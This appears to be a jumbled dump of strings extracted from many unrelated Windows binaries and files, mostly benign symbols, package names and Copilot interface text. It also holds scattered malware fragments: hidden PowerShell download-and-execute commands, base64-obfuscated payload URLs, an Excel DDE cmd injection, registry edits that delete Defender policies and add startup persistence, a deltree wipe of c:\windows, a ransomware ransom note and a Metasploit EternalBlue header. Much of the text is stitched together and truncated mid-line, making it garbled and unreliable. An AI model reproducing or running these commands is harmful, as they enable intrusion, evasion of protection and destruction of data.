.?AU?$producer_convert@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
Microsoft.Windows.Wil.FeatureLogging
T\windows\</t></si><
Q L>c:\windows\system32\mshtai
get_DockWindows
LoadDockWindows
ResetDockWindows
m_dockWindows
allWindows
get_FloatWindows
LoadFloatWindows
m_floatWindows
DockWindowStruct
FloatWindowStruct
get_ToolWindowStripGapLeft
get_ToolWindowStripGapRight
get_MainWindowStatusBarDefault
%Microsoft Windows Production PCA 20110
c:\Windows\svchest
Microsoft.Windows.Storage.MiSpace
Microsoft.Windows.Storage.PmUtil
Microsoft.Windows.Storage.Backspace
WINDOWS11
WINDOWS11
&s\system32\cmd.exe/cifexist%tmp%\temp1_job_offer.zip\
E|`c:\windows\system32\windowspowershell\v1.0\
shouldWindowsLogToWindows
shouldWindowsAndBingLogToBing
Illegal to wait on a task in a Windows Runtime STA
start-process-filepath"powershell.exe"-windowstylehidden-argumentlist'-noprofile-whidden-command"$data=([text.encoding]::utf8.getstring((&(\"{0}{1}{2}\"-f[char](
AppApi.dllD:\a\_work\1\s\artifacts\obj\coreclr\windows.x86.Release\Corehost.Static\singlefilehost.pdbG:\repos\ApiApp\AppApi\obj\Release\net9.0\win-x86\AppApi.pdb:
APPDATA=C:\WINDOWS\system32\config
9N7F2SM5D1LRMicrosoftCorporationII.WindowsHDRCalibration_8wekyb3d8bbweMicrosoft Corporation
XPDNX7G06BLH2GDeepL.Apps.WindowsDeepL SE
9WZDNCRFJBH4Microsoft.Windows.Photos_8wekyb3d8bbweMicrosoft Corporationx86, x64, ARM, ARM64#(@
9WZDNCRFJ4Q77EE7776C.LinkedInforWindows_w1wdnht996qgyLinkedIn
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
ROOT\Microsoft\Windows\Storage\MS_409
-windowstylehidden
mwindows\inetcache\content.word\11.jar
Windows.3
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
 %windir%\system32\shell32.dll
,os=windows; osVer=10.0.26200.7840; lcid=en-US; deviceType=9
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
 Windows-
-f,u,"MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperience_
(f,u,"microsoft.windowscommunica
WINDOWS\system32\config
yWB*.up_meta.|%WINDIR%\System32\backgroundTaskHo
IDriveWindows\id_bglaunchY
c:\windows\
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
V"C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:App.AppXfkd8mejksk4ancwf4vtyhmkvtzn1jcbs.mca|
@Security@Windows@@@Found
@Security@Internal@Windows@@@Found'
32\windows,
c:\windows\
c:\windows\
HKEY_CURRENT_USER\Software\Microsoft\Windows\DWMQ
"c:\windows\&
PLATFORM_WINDOWS
s\system32\Fun1.dll
windows.hlp`
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
IsWindowsInsider
ADALUseWindowsAuthentication
ExecuteParameters="-windowstyle hidden set-executionpolicy unrestricted -force;invoke-expression ((New-Object Net.WebClient).DownloadString(\\\\\\`\\\"http!#ALF:HackTool:Win64/ShackHandle.A!dha
	WINDOWS\system32\cmd.exe.
USERDOMAIN_ROAMINGPROFILE=Windows11'
G_C:\WINDOWS\SYSTEM32\MSAPSSPC.DLL>!
:\WINDOWS\SYSTEM32\NETSETUP.CPL>C!
.: AMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Acookie:G
SOFTWARE\Microsoft\Windows\C
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsD
Microsoft.Windows.Compatibility.Asl
c:\windows\system32\
c:\windows\system32\
Exmsexcel"ddetopic="'\..\..\..\windows\system32\cmd.exe/ccalc.exe'!''"><ddeitems><ddeitemname="_xlbgnm.a1"advise="1"/><ddeitemname="stddocumentname"ole="1"advise="1"/></ddeitems></ddelink></externallink>
.expandenvironmentstrings("%windir%\syswow64\windowspowershell\v1.0\powershell.exe")
Windows.Data.WiFi.WiFiProfile
Windows.Data.Nlm.NlmSignature
CloudData.WindowsClient.CloudDataAvailableWnf
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
DriverData=C:\Windows\System32\
SystemSettings_SyncSettings_Windows_Toggle2_Slice
Windows
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.FamilyValueProp
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.LiveCaptionsDesktop
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.MicrosoftGraphRecentItemsManager
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SnapLayout
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechRecognizerExtension
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechSynthesizerExtension
MicrosoftWindows.CrossDevice_cw5G
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewWinUI3
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewUWP
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.Taskbar
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SystemTray
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.StartMenu
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsMigration
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!Global.FileExplorerExtensions
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.ModelManagementUX
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.Feedback
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.DiscoveryOverlay
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!ClickToDoApp
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!aicontext
MicrosoftWindows.Client.Core_cw5n1h2txyewy!SettingsModelService
MicrosoftWindows.Client.Core_cw5n1h2txyewy!ScreenClipping
MicrosoftWindows.Client.Core_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.Core_cw5n1h2txyewy!LogonWebHost
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessPlugin
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessHost
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.ValueBanner
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.TwinSxS
hWindows.SystemToast.BthQuickPair
Windows.SystemToast.Bthprops
Windows.SystemToast.BitLockerPolicyRefresh
Windows.SystemToast.BdeUnlock
Windows.SystemToast.BackupReminder
Windows.SystemToast.BackgroundAccess
Windows.SystemToast.AutoPlay
Windows.SystemToast.AudioTroubleshooter
Windows.SystemToast.AccountHealth
Windows.System.ShareExperience
Windows.System.NearShareExperienceReceive
Windows.System.MiracastReceiver	
Windows.System.DialServer
Windows.System.Continuum
Windows.System.Audio
Windows.System.AppInitiatedDownload
Windows.PrintDialog_cw5nF
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetDataModel
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.TextInputExtensions
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.RulesEngine
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PersonaCardManager
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.BackupBanner
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.AppListBackup
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackup
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHost
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!VisualAssist
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!SoftLanding
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!InputApp
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.wsw
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPersonaCard
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPeopleExperience
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!OobeHost
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!Global.WindowsOobeAppHost
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!PackageMetadata
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
DriverData=C:\Windows\System32\Drivers\DriverData
Windows.Defender.SecurityCenterSystemapp:system2026-02-21 11:01:462026-02-21 11:01:46
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreDesktopExtensionapp:immersive2026-02-20 16:15:482026-02-21 11:25:03f
Microsoft.WindowsStore_8wekyb3d8bbwe!Appapp:immersive2026-02-20 16:15:482026-02-21 11:25:03s
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3app:immersive2026-02-20 16:14:122026-02-24 07:58:54
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPickerapp:immersive2026-02-20 16:14:122026-02-24 07:58:54
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModelapp:immersive2026-02-20 16:14:122026-02-24 07:58:54
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoardapp:immersive2026-02-20 16:14:122026-02-24 07:58:54z
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgetsapp:immersive2026-02-20 16:14:122026-02-24 07:58:54
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadataapp:immersive2026-02-20 16:14:122026-02-24 07:58:54n
Windows.PrintDialog_cw5n1h2txyewy!Microsoft.Windows.PrintDialogapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanelapp:immersive2026-02-20 16:13:452026-02-24 07:58:56|
Windows.CBSPreview_cw5n1h2txyewy!Microsoft.Windows.CBSPreviewapp:immersive2026-02-20 16:13:452026-02-20 16:13:45{
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!PackageMetadataapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.WsxPackManagerapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.ExperienceExtensionsapp:immersive2026-02-20 16:13:452026-02-20 16:13:45|
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!WindowsOobeAppHostapp:immersive2026-02-20 16:13:452026-02-20 16:13:45y
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!PackageMetadataapp:immersive2026-02-20 16:13:452026-02-20 16:13:45q
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!OobeHostapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!Global.WindowsOobeAppHostapp:immersive2026-02-20 16:13:452026-02-20 16:13:45|
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!PackageMetadataapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!Global.FileExplorerExtensionsapp:immersive2026-02-20 16:13:452026-02-20 16:13:45~
MicrosoftWindows.Client.Core_cw5n1h2txyewy!SettingsModelServiceapp:immersive2026-02-20 16:13:452026-02-20 16:13:45w
MicrosoftWindows.Client.Core_cw5n1h2txyewy!ScreenClippingapp:immersive2026-02-20 16:13:452026-02-20 16:13:45y
MicrosoftWindows.Client.Core_cw5n1h2txyewy!PackageMetadataapp:immersive2026-02-20 16:13:452026-02-20 16:13:45u
MicrosoftWindows.Client.Core_cw5n1h2txyewy!LogonWebHostapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessPluginapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessHostapp:immersive2026-02-20 16:13:452026-02-20 16:13:45|
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.ValueBannerapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.TileCollection>
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy-In-Allow-ServerCapability
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy-In-Block
Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy-In-Block
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy-Out-Blockd
IsWindowsRuntimeObjectImpl
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
D:\a\_work\1\s\windows\x64\Release\ReactNativeVideoCPP\ReactNativeVideoCPP.pdb
Bc:\temp\foo.txtjl7cvwj8waeah3eoe3r50ka0ojzhtmsna3q2fpzkb8atgmdjr8microsoft\windows\currentversion\explorer\user shell folderst
2("c:\\windows\\system32\\cmd.exe/v/d/c""setskkhln5ttp:';gln5etobj
ROOT\Microsoft\Windows\Defender
ROOT\Microsoft\Windows\Defender
sweeper_WindowsFormsApp3
	Host Process for Windowsg
WindowsCreateString
WindowsCreateStringReference
s\system320
Delwindows
deltree/yc:\windowsdeltree/yc:\as
.comsupport.php?yz=yesULWindowSeeksert98
Microsoft-Windows-CoreSystem-DXG-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
ICredentialsget_ControlsUnhookWindowsHookExadd_MouseDown
downloadurl=[system.text.encoding]::utf8.getstring([system.convert]::frombase64string("ywxsywl2by5tzs9jcnlwdgvklmv4zq=="))$scripturl=[system.text.encoding]::utf8.getstring([system.convert]::frombase64string("ywxsywl2by5tzs9zy3jpchquchmx"))$updaterexe="updater.exe"$trustedname="windowsupdate.ps1
\Windows\
System32\
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 10
ICROSOFT.WINDOWS.APPS.FLIGHTING.PHOTOS
ICROSOFT.WINDOWS.BACKGROUNDACTIVITYMODERATOR
ICROSOFT.WINDOWS.COMPATIBILITY.APPHELP
 dows\system32\cmd.exe/cstartdrive.bat&explorer"
start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-libraryguide.help/Stb/Retev.phps
/.exe -windowstyle hidden
onecore\windows\accessibletech\Common\WrlUtils.h
onecore\windows\accessibletech\uiamanager\dll\uiamanagercrossmachineproxyfactory.cpp
onecore\windows\accessibletech\uiamanager\dll\uiamanagercrossmachinestubfactoryclassfactory.cpp
@Konecore\windows\accessibletech\uiamanager\dll\uiamanagercrossmachinestubfactory.cpp
onecore\windows\accessibletech\uiamanager\dll\uiamanagerwindowregistration.cpp
onecore\windows\accessibletech\uiamanager\dll\namedpipechannel.cpp
onecore\windows\accessibletech\uiamanager\dll\iodispatcher.cpp
onecore\windows\accessibletech\uiamanager\dll\namedpipeservices.cpp
onecore\windows\accessibletech\uiamanager\dll\coreuisession.cpp
l	?onecore\windows\accessibletech\uiamanager\dll\endpointinprocutils.cpp
onecore\windows\accessibletech\uiamanager\dll\hwndinfocache.cpp
onecore\windows\accessibletech\uiamanager\dll\uiamanagerutils.cpp
onecore\windows\accessibletech\common\SafeArray.h
onecore\windows\accessibletech\common\viewidinfo.cpp
onecore\windows\accessibletech\common\basichwndutils.cpp
Microsoft.WindowsNotepad_11.2510.14.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
ms-windows-store-deskext
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwex
Microsoft.WindowsStore_22512.1401.6.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbweP
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe
Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe
Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe
s\system32
[system.windows.forms.screen]::primary
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
Windows
9f^com.microsoft.windows.extensionpackage
a1^com.microsoft.windows.extensionpackage
a3^com.microsoft.windows.extensionpackage
THE FILE IS ENCRYPTED WITH THE RSA-2048 ALGORITHM, ONLY WE CAN DECRYPT THE FILEYour files are encrypted!IF YOU DO NOT HAVE A JABBER. TO WRITE TO US TO REGISTERsystem32.exe[/TASKNAME][AUTOEXEC][README]HOW TO RECOVETrojanDownloader:O97M/Donoff.YH!MTB
Windows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata
vsilverright18,capabilitiespopularitywinwindowstheiloveyouv
Microsoft\Windows\Start Menu\Programs\StartupM
New-ItemPropertyWinlogonUserInit.A
.?AV<lambda_3>@?1???R<lambda_2>@?BB@??QueryAsync@VegaProvider@implementation@Settings@Cortana@winrt@@QEAA?AU?$IAsyncOperation@UVegaResult@Settings@Cortana@winrt@@@Foundation@Windows@7@Uhstringw
Windows.UI.Core
Windows.UI.Core.AnimationMetrics
ICoreWindowStatic
IWindowSizeChangedEventArgs
Windows.UI.Core.Preview
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
qI\windows\system32
/windows/
iWindowStyle)
.?AV<lambda_1>@?CC@??_CancelAndRunContinuations@?$_Task_impl@PE$AAU?$IVectorView@PE$AAUISearchWebAccount@Search@Cortana@@@Collections@Foundation@Windows@@@details@Concurrency@@UEAA_N_N00AEBV?$shared_ptr@U_ExceptionHolder@details@Concurrency@@@std@@@Z@
.?AV<lambda_1>@?9??_SetUnwrappedAsyncOp@?$_Task_impl@E@details@Concurrency@@QEAAXPE$AAU?$IAsyncOperation@E@Foundation@Windows@@@Z@
.?AV<lambda_1>@?9??_SetUnwrappedAsyncOp@?$_Task_impl@PE$AAU?$IVectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@QEAAXPE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@@Z@
.?AV<lambda_1>@?9??_SetUnwrappedAsyncOp@?$_Task_impl@PE$AAU?$IVectorView@PE$AAVStorageFolder@Storage@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@QEAAXPE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAVStorageFolder@Storage@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@@Z@
.?AV<lambda_1>@?9??_SetUnwrappedAsyncOp@?$_Task_impl@PE$AAVStorageFolder@Storage@Windows@@@details@Concurrency@@QEAAXPE$AAU?$IAsyncOperation@PE$AAVStorageFolder@Storage@Windows@@@Foundation@Windows@@@Z@
.?AV<lambda_1>@?9??_SetUnwrappedAsyncOp@?$_Task_impl@PE$AAVStorageFile@Storage@Windows@@@details@Concurrency@@QEAAXPE$AAU?$IAsyncOperation@PE$AAVStorageFile@Storage@Windows@@@Foundation@Windows@@@Z@
.?AV<lambda_1>@?9??_SetUnwrappedAsyncOp@?$_Task_impl@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@details@Concurrency@@QEAAXPE$AAU?$IAsyncOperation@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Foundation@Windows@@@Z@
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
crosoft.Windows.TextInput.SpellCheckerEngine
!#SCRIPT:Setwindowshook
1setwindowshook
Windows.
Windows
WindowsNTVersion
&.@Windows.Data.Platform.Partitioning.DeviceExperience
c:\windows\system32\windowspowershell\v1.0\powershell.exee
\windows\system32\windowspowershell\v1.0\powershell.exe--execbypass-wh-filepiwwmnnycvxyffwre.ps1shell32.dll%
kPfrommetasploitimportmodulemetadata={'name':'ms17-010eternalbluesmbremotewindowskernelpoolcorruptionforwin8+','description':'''eternalblueexploitforwindows8,windows10,and2012bysleepyatheexploitmightfailandcrashatargetsystem
("cmd.exe","/cpinglocalhost&powershell.exe-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).
%windir%\system32\reg.exeadd"%key1%"/venablelua/treg_dword/d0/f
c:\windows\system32\cmd.exe/c.\windowsservices\movemenoreg.vbs
regdelete"hklm\software\policies\microsoft\windowsdefender"/f
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\system32	
yc:\windows\system32\cmd.exe/c"start%cd%ugihhs\ugihhs
Windows
\Windows
c:\windows\system32\migwiz
c:\windows\system32\
\system32\synaptics
lf@po:i+00/c:\v1windows@.	
z1system32b.
WindowState
QWindowsGeometryHint::frameOnPrimaryScreen
QWindowsGeometryHint::frame
QWindowsGeometryHint::handleCalculateSize
QWindowsGeometryHint::applyToMinMaxInfo
QWindowsBaseWindow::raise_sys
QWindowsBaseWindow::lower_sys
QWindowsBaseWindow::setWindowTitle_sys
QWindowsForeignWindow::setParent
QWindowsForeignWindow::setVisible
QWindowsWindow::destroyWindow
QWindowsWindow::setDropSiteEnabled
QWindowsWindow::setVisible
QWindowsWindow::setParent
opilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
.?AU?$root_implements@Uiterator@?$iterable_base@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@Ucollection_version@23@@winrt@@U?$IIterator@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$root_implements_composable_inner@Uiterator@?$iterable_base@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@Ucollection_version@23@@winrt@@$0A@@impl@winrt@@
